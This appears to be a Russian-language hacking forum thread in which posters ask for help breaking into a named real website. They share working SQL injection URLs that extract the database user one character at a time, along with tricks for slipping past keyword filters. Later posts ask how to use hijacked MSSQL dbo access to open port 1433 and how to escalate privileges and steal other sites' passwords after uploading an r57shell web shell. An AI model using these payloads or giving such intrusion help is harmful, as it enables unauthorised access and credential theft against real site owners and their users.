час ночи и мозг отказывается работать. раскрутит кто? с результатами желательно в пм (-
http://www.zahar.de/bigmir/forum/showprofil.php?id=1'

Calcutta
4 ветка... дальше с выводом проблемы )

Да как бы проблем особо нету=) КРоме того что долго это все...
1) http://www.zahar.de/bigmir/forum/showprofil.php?id=999+union+select+ascii(substring (user(),1,1))+limit+1,1 - первый символ 85
2) http://www.zahar.de/bigmir/forum/showprofil.php?id=999+union+select+ascii(substring (user(),2,1))+limit+1,1 - второй символ 55
И т.д. погнали

у меня проблема если идет фильтрация select и char как можна ещё заменить ? да ещё пробывал ?id=-75 AND 1=1/* And тоже фильтруется

Видишь ли в чём дело, надо быть очень криворуким кодером, чтобы поставить фильтрацию на AND, char и select, и при этом оставить скуль в параметре id

100% ты что-то делаешь неправильно. линк кинь посмотрим

Попробуй заменит and на &&, а select на seLEct или sel/*lala*/ect

на самом деле бывает и такое

Вопрос:
Имею доступ к MSSQL серверу с правами dbo, через баг в asp скрипте. Можно ли открыть порт 1433 для удаленного коннекта (к примеру через sp_configure)? Firewall отсутствует. Если можно, то каким образом.
Спасибо

Люди помогите плиз, я новичек в этом деле, поэтому всех фишек не знаю. У меня проблема - залил r57shell на серв - там сэйф моде отключен система freebsd 6.2. Можно ли как нибудь повысить привелегии, или вообще получить пароли к остальным сайтам на этом серве - это моя основная цель. Заранее спасибо